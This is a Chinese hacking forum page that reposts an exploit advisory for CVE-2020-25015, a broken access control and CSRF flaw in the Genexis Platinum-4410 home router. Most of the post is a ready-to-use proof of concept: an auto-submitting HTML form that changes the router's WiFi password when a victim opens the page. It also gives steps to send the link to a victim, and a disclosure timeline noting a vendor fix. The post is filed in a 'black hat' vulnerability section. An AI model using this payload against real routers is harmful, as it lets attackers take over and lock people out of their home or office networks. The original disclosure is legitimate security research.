跳转到帖子

游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

TheHackerWorld官方

Genexis Platinum-4410 P4410-V2-1.28 - Broken Access Control and CSRF

CHT丨情报收集
CHT丨情报收集
在 黑帽漏洞数据库

精选回复

发布于 
# Exploit Title: Genexis Platinum-4410 P4410-V2-1.28 - Broken Access Control and CSRF
# Date: 28-08-2020
# Vendor Homepage: https://www.gxgroup.eu/ont-products/
# Exploit Author: Jinson Varghese Behanan (@JinsonCyberSec)
# Author Advisory: https://www.getastra.com/blog/911/csrf-broken-access-control-in-genexis-platinum-4410/
# Version: v2.1 (software version P4410-V2-1.28)
# CVE : CVE-2020-25015

1. Description

Platinum 4410 is a compact router from Genexis that is commonly used at homes and offices. Hardware version V2.1 – Software version P4410-V2-1.28 was found to be vulnerable to Broken Access Control and CSRF which could be combined to remotely change the WIFI access point’s password.

2. Impact

An attacker can send the victim a link, which if he clicks while he is connected to the WiFi network established from the vulnerable router, the password of the WIFI access point will get changed via CSRF exploit. As the router is also vulnerable to Broken Access Control, the victim does not need to be logged in to the router’s web-based setup page (192.168.1.1), essentially making this a one-click hack.

3. Proof of Concept

Create an HTML file with the following code:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/cgi-bin/net-wlan.asp" method="POST">
      <input type="hidden" name="wlEnbl" value="ON" />
      <input type="hidden" name="hwlKeys0" value="" />
      <input type="hidden" name="hwlKeys1" value="" />
      <input type="hidden" name="hwlKeys2" value="" />
      <input type="hidden" name="hwlKeys3" value="" />
      <input type="hidden" name="hwlgMode" value="9" />
      <input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" />
      <input type="hidden" name="hwlEnbl" value="1" />
      <input type="hidden" name="hWPSMode" value="1" />
      <input type="hidden" name="henableSsid" value="1" />
      <input type="hidden" name="hwlHide" value="0" />
      <input type="hidden" name="isInWPSing" value="0" />
      <input type="hidden" name="WpsConfModeAll" value="7" />
      <input type="hidden" name="WpsConfModeNone" value="0" />
      <input type="hidden" name="hWpsStart" value="0" />
      <input type="hidden" name="isCUCSupport" value="0" />
      <input type="hidden" name="SSIDPre" value="N&#47;A" />
      <input type="hidden" name="bwControlhidden" value="0" />
      <input type="hidden" name="ht&#95;bw" value="1" />
      <input type="hidden" name="wlgMode" value="b&#44;g&#44;n" />
      <input type="hidden" name="wlChannel" value="0" />
      <input type="hidden" name="wlTxPwr" value="1" />
      <input type="hidden" name="wlSsidIdx" value="0" />
      <input type="hidden" name="SSID&#95;Flag" value="0" />
      <input type="hidden" name="wlSsid" value="JINSON" />
      <input type="hidden" name="wlMcs" value="33" />
      <input type="hidden" name="bwControl" value="1" />
      <input type="hidden" name="giControl" value="1" />
      <input type="hidden" name="enableSsid" value="on" />
      <input type="hidden" name="wlAssociateNum" value="32" />
      <input type="hidden" name="wlSecurMode" value="WPAand11i" />
      <input type="hidden" name="wlPreauth" value="off" />
      <input type="hidden" name="wlNetReauth" value="1" />
      <input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" />
      <input type="hidden" name="cb&#95;enablshowpsw" value="on" />
      <input type="hidden" name="wlWpaGtkRekey" value="" />
      <input type="hidden" name="wlRadiusIPAddr" value="" />
      <input type="hidden" name="wlRadiusPort" value="" />
      <input type="hidden" name="wlRadiusKey" value="" />
      <input type="hidden" name="wlWpa" value="TKIPAES" />
      <input type="hidden" name="wlKeyBit" value="64" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="WpsActive" value="0" />
      <input type="hidden" name="wpsmode" value="ap&#45;pbc" />
      <input type="hidden" name="pinvalue" value="" />
      <input type="hidden" name="Save&#95;Flag" value="1" />
      <input type="submit" value="Submit request" />
    </form>
     <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Open this file in a browser while you are connected to the WIFI. There is no need for the victim to be logged in to the Router admin panel (192.168.1.1). It can be seen that the WIFI connection is dropped. To reconnect, forget the WIFI connection on your laptop or phone and connect using the newly changed password: NEWPASSWORD


4. PoC Video: https://www.youtube.com/watch?v=nSu5ANDH2Rk&feature=emb_title

3. Timeline

Vulnerability reported to the Genexis team – August 28, 2020
Team confirmed firmware release containing fix – September 14, 2020

创建帐户或登录后发表意见

转到主题列表

最近浏览 0

  • 没有会员查看此页面。